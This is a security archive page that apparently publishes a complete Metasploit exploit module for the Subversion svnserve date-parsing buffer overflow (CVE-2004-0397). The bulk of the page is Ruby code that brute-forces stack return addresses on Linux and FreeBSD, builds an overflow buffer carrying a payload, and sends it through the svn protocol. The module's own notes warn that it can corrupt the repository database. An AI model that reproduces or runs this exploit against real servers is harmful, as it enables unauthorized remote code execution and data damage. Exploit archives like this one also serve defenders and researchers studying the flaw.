what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Subversion Date Overflow

Subversion Date Overflow
Posted Oct 28, 2009
Authored by spoonm

This is a Metasploit exploit for the Subversion date parsing overflow. This exploit is for the svnserve daemon (svn:// protocol) and will not work for Subversion over webdav (http[s]://). This exploit should never crash the daemon, and should be safe to do multi-hits.

tags | exploit, web, overflow, protocol
advisories | CVE-2004-0397
SHA-256 | c81084cf41376c203360dc2c4fd7badff87c3c33602d948682a6905bafe517a2

Subversion Date Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'
require 'msf/core/exploit/http'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Brute
include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Subversion Date Svnserve',
'Description' => %q{
This is an exploit for the Subversion date parsing overflow. This
exploit is for the svnserve daemon (svn:// protocol) and will not work
for Subversion over webdav (http[s]://). This exploit should never
crash the daemon, and should be safe to do multi-hits.

**WARNING** This exploit seems to (not very often, I've only seen
it during testing) corrupt the subversion database, so be careful!
},
'Author' => 'spoonm',
'Version' => '$Revision$',
'References' =>
[
['CVE', '2004-0397'],
['OSVDB', '6301'],
['BID', '10386'],
['URL', 'http://lists.netsys.com/pipermail/full-disclosure/2004-May/021737.html'],
['MIL', '68'],
],
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",
'MinNops' => 16,
},
'SaveRegisters' => [ 'esp' ],
'Arch' => 'x86',
'Platform' => [ 'linux', 'bsd' ],
'Targets' =>
[
[
'Linux Bruteforce',
{
'Platform' => 'linux',
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xbffffe13 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 0
}
},
],
[
'FreeBSD Bruteforce',
{
'Platform' => 'bsd',
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xbfbffe13 },
'Stop' => { 'Ret' => 0xbfbf0000 },
'Step' => 0
}
},
],

],
'DisclosureDate' => 'May 19 2004'))

register_options(
[
Opt::RPORT(3690),
OptString.new('URL', [ true, "SVN URL (ie svn://host/repos)", "svn://host/svn/repos" ])
], self.class)

register_advanced_options(
[
# 62 on spoonm's, 88 on HD's
OptInt.new('RetLength', [ false, "Length of rets after payload", 100 ]),
OptBool.new('IgnoreErrors', [ false, "Ignore errors", false ])
], self.class)
end

def check
end

def brute_exploit(addresses)
connect

print_status("Trying #{"%.8x" % addresses['Ret']}...")

buffer = ([addresses['Ret']].pack('V') * (datastore['RetLength'] / 4).to_i) + payload.encoded

[
"( 2 ( edit-pipeline ) " + lengther(datastore['URL']) + " ) ",
"( ANONYMOUS ( 0; ) )",
"( get-dated-rev ( " + lengther(buffer + " 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)") + " ) ) "
].each_with_index { |buf, index|
trash = sock.get_once

print_line("Received: #{trash}") if debugging?

if (sock.put(buf) || 0) == 0 and index < 3
print_error("Error transmitting buffer.")
raise ExploitError, "Failed to transmit data" if !datastore['IgnoreErrors']
end

if index == 3 and trash.length > 0
print_error("Received data when we shouldn't have")
raise ExploitError, "Received data when it wasn't expected" if !datastore['IgnoreErrors']
end
}

handler
disconnect
end

def lengther(buf)
"#{buf.length}:" + buf
end

end

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close